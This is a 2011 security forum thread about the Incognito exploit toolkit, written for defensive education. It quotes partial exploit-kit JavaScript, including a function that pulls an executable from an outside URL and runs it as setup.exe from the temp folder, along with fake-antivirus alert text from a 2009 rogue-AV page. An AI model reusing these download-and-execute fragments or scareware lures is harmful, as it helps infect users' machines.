The Rise of Incognito

Quote:
" Have you ever wondered how malware spreads, why there are so many compromised machines out there talking back to their CnC's? There must be a medium, a vehicle if you may, to get a Zeus, a Rogue AV, a Rustock (not anymore ) or any new malware onto a box. Have you ever wondered what this vehicle could be? If you answered exploits, then your answer is right. Exploits, Pay Per Installs, Social Engineering are the main vectors to get malware on a machine. Exploit Tool kits are like point and click tools that use these exploits to make life easy for a hacker. At FireEye Labs, we continuously monitor the latest threats and exploit toolkits. One such toolkit that has come to our attention is the Incognito Toolkit. In the year 2011 we have noticed a sudden surge in our Incognito detections. This blog attempts to explain why this toolkit is so hard to detect, the obfuscation techniques it uses to the kind of malware it drops.Though not as widespread as the Blackhole Toolkit, this toolkit looks like it is here to make a mark." :

http://blog.fireeye.com/research/2011/03/the-rise-of-incognito.html

 

Fascinating! And a good example of "the same old thing!"

The obfuscation (disguising) techniques do make it difficult for AV and Web Security products to detect the code, but has no effect on blocking unauthorized executables from downloading, with proper security in place.

One of the exploits in the toolkit targets IE6. The code uses a "function" that is the command to:

download the executable to the cache;
rename it to "setup.exe"
copy it to a temp folder (SpecialFolder(2);
then execute it:

Code:

navigator.userAgent.indexOf('IE 6') == -1)

[B][COLOR="DarkRed"]function gr(sgw) [/COLOR][/B]{
    var ha = 'http://mullador.cz.cc/out.php?a=QQkEEkcJBQQEBAQB&p=6';
    qbnp = "setup.exe";http://mullador.cz.cc/out.php?

BuildPath(dyv.GetSpecialFolder(2)

ShellExecute

Another uses a java exploit for other versions of IE:

Code:

if (window.navigator.appName == 'Microsoft Internet Explorer')
application/java-deployment-toolkit'

There is also a PDF exploit

Back in 2009 the rogue AV exploits did the same thing, just not obfuscated, with the use of a function to control the exploit -- no matter what the user clicks, the function brings up the false alert and downloads the executable:

Code:

SCRIPT language=javascript
[B][COLOR="DarkRed"]function crptr3455345345[/COLOR][/B]
[B]location.href="/_download.php?aid=77011807&dlth="+dlth;[/B]

;Code excerpts: 

function hideWarnDialog()

	if(confirm('Dont close this window if your want you PC to be clean.'))	{

		[B][COLOR="DarkRed"]crptr3455345345();[/COLOR][/B]

;command to popup an alert and download:

		alert_and_dl();

  [B]function alert_and_dl[/B]

   alert("Harmful and malicious software detected. These programs may damage your computer 
and steal your private information. Online Security Scanner requires Antivirus 2009 components 
to repair your computer. 
Please click OK to download and install Antivirus 2009 components.");

	[B][COLOR="DarkRed"]crptr3455345345();[/COLOR][/B]

The executable in the 2009 exploit was av2009Install_77011807.exe

From the article:

So, these types of current exploits are just new wine (disguised code) in old bottles (serving up a trojan executable)!

----
rich

 

@Dermot7 thanks for the link
@Rmus thanks for explaining
i have a small question, isnt UAC in win7 supposed to stop all this kind of exploits
supposedly no program should run unless you allow it in UAC
PS : I dont have win7 thats why i am asking

 

It won't stop anything if you push the "Yes" button..and, properly used, you have to push the "Yes" button for every single install you do. All UAC will do is ask you to run, inform you if a program needs Admin rights to run (I'm really surprised at how many legit programs still want Admin rights to run), or, as it is asking you to run, tell you whether it is a recognized vendor or not (this is still a problem too with many legit apps.).

UAC seems to be both a blessing and a curse. A blessing in that it will tell you if something wants to run. In a perfect world, you should be wary of a non-security program wanting Admin rights to install, and, usually any program whose vendor is not recognized. In reality, the curse is that still too many want Admin rights, and far too many are still "unknown", making it often difficult to know (outside of scanning the file with an AV/AM) if something bad is about to happen.

 

that's my point ...while you supposed to be surfing internet, you got pop up telling you to allow program to run or not(which for common sense, you would click no or at least stop for seconds to think about it) ....isnt that somehow stopping driveby or even pdf exploits

maybe MS can add whitelist to UAC (according to vendor 'signature' or MD5) so UAC can only be blessing ...just a thought

 

Well sure, if it pops up during a surfing session, you know something is wrong.

 

driveby can happen in other cases?

 

I've mentioned elsewhere that "drive-by" is a limiting description, because exploits can be remotely (automatically) triggered by other than web embedded methods.

In their bulletins, Microsoft never uses "driveby." Rather, "Remote Code Execution." In this bulletin from last month, for example, both web page and other means are covered:

Microsoft Security Bulletin MS11-003
http://www.microsoft.com/technet/security/Bulletin/MS11-003.mspx

In this month's bulletins, the 3 exploits depend on the user opening a file, at which time code executes automatically:

March 2011 Microsoft Black Tuesday Summary
http://isc.sans.edu/diary.html?storyid=10510

So, while exploit kits are web-embedded exploits, users should be protected against remote code execution from any source. A malicious PDF file can be downloaded/opened automatically by an exploit kit; or it can arrive via email with a enticing message to view something sensational; or be posted as a link on a social network site with the same lure.

In my post, referring to protection, I specifically used the phrase, "with proper security in place." This takes in a lot of considerations, including one's security policies and procedures about opening untrusted files. This is probably the most important security measure to have in place these days, since the majority of exploits are successful via social engineering tricks. The only real solution here is user education and experience to deal with these things.

As for remote code execution, as in the Incognito Explolit Kit examples: if the alert to the user is via UAC, or some other similar means, the user must make a decision, as has been mentioned. Cybercriminals know this, and also know that many people do not make the correct decision!

The most sure protection against the remote code execution type of exploit is a Default-Deny product, where the user cannot permit a non-white listed executable to automatically install while surfing the web, or if inadvertantly opening a malicious PDF file which triggers a download, for example. In both cases, I don't want the home user to have to make a decision. They are instructed that in these cases where an alert pops up, they close the browser window, or delete the file!

----
rich

 

@Rmus ... Thank you very much for making this out, i understand now
that's why i didnt move to win7 because i use a program that -as least thats what i think- stops all that kind of exploits but unfortunately doesnt work on win7

 

Thanks very much folks (and especially Rmus) for your contributions and insights on this, we must all keep learning imo.
Something that was clearly evident to me already, and is constantly being confirmed, is the degree of reliance on subtle (some more than others) social engineering tactics for propagation. The infected is nearly always required to
comply. The criminals rely on the stark human reality that some are more gullible than others, and if you throw a very wide "net", although many "fish" will escape, you will still catch more than enough unwary "flatfish".

Just a couple of questions, excuse me if I've missed this already:
Does this exploit exclusively target versions of IE, or are other browsers also
affected?
Are these exploit toolkits (e.g. Black Hole, Phoenix etc) usually browser specific, or does it vary? Many thanks.

 

The only exploits I've seen recently in a toolkit that target a browser, choose IE. Why? Several reasons given by researchers:

1) Most used browser world-wide
2) Less likely to be patched by the average user and by those using pirated versions of Windows. This latter reason was given by some for the widespread infection rate in Asia from the Conficker worm.

The most common IE exploit in the toolkits is against IE6, the MDAC vulnerability from 2006:

Vulnerability in the Microsoft Data Access Components (MDAC) Function Could Allow Code Execution (911562)
http://www.microsoft.com/technet/security/bulletin/ms06-014.mspx

Just think of that! Vulnerability patched five years ago and still being used!

It's included in the Incognito Toolkit.

Here is an old example. The downloaded file is renamed to svchost.exe and placed in the temp directory to be executed. Look at the code I included in the first post and you see the command to do these actions. Here, the exploit is blocked by Software Restriction Policies:

​

The Incognito Toolkit also has a Java exploit targeted against IE. Here is an old one that works against IE8. It is blocked by Anti-Executable:

​

The Incognito Toolkit also has a PDF exploit. This will work against any browser where the PDF plugin is enabled, and Javascript enabled. The blog shows that Javascript does most of the work in the toolkit's web page code.

Here in an old exploit, the user is redirected by exploit code to a malicious site with a booby trapped PDF file. Firefox loads the PDF file and the code inside the file calls out to download a malicious trojan:

​

Note that this is not an exploit against Firefox, rather, against Adobe Acrobat Reader, as seen by the Program Name in the Alert message.

Looking at the various exploits in the toolkits, several things are obvious:

1) Many are prevented if the system is uptodate with patches (IE, Java, Flash, Adobe, etc)

2) Many are prevented by controlling browser configurations (Javascript; Plugins)
In the above PDF exploit, Firefox would prompt for a download if Plugins were disabled. Naturally, this is a file you didn't go looking for, so CANCEL!

​

3) Default-Deny for non-whitelisted executables blocks the payload from executing on the computer, as shown in the above examples.

4) Remote Code Execution exploits are really very easy to protect against with proper security measures in place -- much easier than social engineering exploits, which depend on a user decision!

-rich

 

Answer found at http://www.securelist.com/en/analysis/204792160/Exploit_Kits_A_Different_View.

 

Thank you MrBrian and Rmus for all the info.

 

You both are welcome.

MrBrian's link is very informative.


-----
rich